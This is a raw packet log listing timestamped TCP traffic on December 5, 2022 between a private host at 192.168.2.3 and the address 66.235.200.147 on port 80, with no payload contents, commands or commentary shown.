Dec 5, 2022 06:44:36.504210949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504229069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504234076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504245996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504254103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504265070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504267931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504282951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504288912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504300117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504302025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504319906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504324913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504338026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504338980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504357100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504369020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504374027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504385948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504393101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504410982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504416943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504429102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504434109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504446983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504463911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504465103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504482985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504482985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504503965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504508018 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504519939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504525900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504534006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504544973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504550934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504561901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504565001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504580021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504581928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504597902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504611969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504616022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504631996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504633904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504631996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504650116 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504652023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504671097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504681110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504688025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504695892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504707098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504709959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504726887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504744053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504745960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504745960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504760981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504762888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504779100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504787922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504796982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504801989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504816055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504816055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504834890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504853010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504869938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504887104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504888058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504904985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504918098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504924059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504934072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504942894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504962921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504976034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504976034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.504982948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.504993916 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505001068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505012035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505019903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505026102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505037069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505047083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505055904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505065918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505074978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505078077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505093098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505110979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505119085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505127907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505134106 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505146980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505162001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505165100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505177975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505184889 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505192995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505206108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505208015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505222082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505225897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505244970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505250931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505264044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505266905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505281925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505284071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505300999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505311012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505319118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505327940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505337000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505343914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505354881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505357981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505372047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505373001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505392075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505403996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505412102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505420923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505430937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505434036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505450010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505466938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505466938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505486965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505489111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505489111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505506039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505506992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505525112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505526066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505543947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505544901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505563021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505563021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505582094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505583048 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505599976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505619049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505637884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505639076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505656004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505665064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505675077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505688906 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505692005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505709887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505724907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505724907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505727053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505744934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505752087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505762100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505779982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505780935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505795002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505800009 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505810976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505817890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505822897 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505836010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505847931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505855083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505867958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505867958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505872011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505892992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505894899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505909920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505911112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505928993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505947113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505955935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505964041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.505980968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.505981922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506005049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506022930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506031990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506032944 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506093979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506102085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506112099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506129026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506145954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506153107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506162882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506175041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506181002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506198883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506201029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506216049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506222963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506233931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506247044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506251097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506259918 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506268978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506278992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506294012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506300926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506310940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506320000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506336927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506340027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506354094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506356001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506372929 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506375074 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506392002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506401062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506421089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506424904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506439924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506458044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506474972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506479025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506494045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506503105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506511927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506524086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506531954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506540060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506548882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506566048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506572962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506584883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506596088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506603003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506620884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506620884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506639004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506655931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506674051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506691933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506707907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506725073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506742001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506745100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506745100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506746054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506746054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506746054 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506761074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506778955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506797075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506814003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506814957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506814957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506814957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506830931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506844997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506844997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506849051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506866932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506895065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506925106 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506930113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506947994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506949902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506947994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506947994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506947994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506970882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506990910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.506999016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.506999969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507009983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507025003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507025003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507030964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507045031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507049084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507066011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507070065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507086992 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507088900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507105112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507107973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507128000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507129908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507147074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507148027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507167101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507184982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507198095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507204056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507222891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507231951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507241964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507247925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507261038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507275105 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507280111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507291079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507298946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507308960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507318020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507325888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507338047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507347107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507355928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507364988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507375002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507380009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507392883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507400990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507412910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507419109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507432938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507435083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507451057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507457972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507469893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507477045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507489920 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507493019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507508039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507519960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507525921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507538080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507544994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507555008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507564068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507569075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507581949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507587910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507601023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507611036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507621050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507631063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507642031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507649899 CET	49704	80	192.168.2.3	66.235.200.147
